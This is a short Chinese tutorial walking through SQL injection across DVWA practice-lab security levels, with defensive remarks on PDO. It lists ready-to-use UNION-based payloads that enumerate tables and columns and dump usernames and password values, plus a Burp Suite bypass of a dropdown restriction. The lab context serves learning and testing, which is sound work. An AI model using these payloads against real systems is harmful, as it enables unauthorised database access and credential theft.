通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。
源码:
对前端传递进来的参数ID没有做任何过滤和检测,对于提交的请求直接参与SQL代码的查询。
漏洞利用:
直接构造PAYLOAD:
查询列数:1’ order by 2;#
union查询:1’ union select 1,2;#
查询用户与数据库名:1’ union select database(),current_user();#
查询表:1’ union select 1, group_concat(table_name) from information_schema.tables where table_schema=database();#
查询列:1’ union select 1, group_concat(column_name) from information_schema.columns where table_name=’users’;#
查询值:1’ union select group_concat(user_id,first_name,last_name),group_concat(password) from users; #
源码:
漏送利用:
下拉列表限制用户输入,使用burp suite抓包修改即可绕过限制。
源码:
查询语句获取ID时,增加了单引号,所以这是个字符型注入,limit 1限制了只能查询一个结果,这个用注释#就可以绕过。
源码:
使用了pdo实现数据代码分离,而且针对查询结果进行限制,只有1条时才会输出,提高了一定的安全性。
更多dvwa的使用及漏洞利用:https://blog.csdn.net/zjw0411/article/category/7542496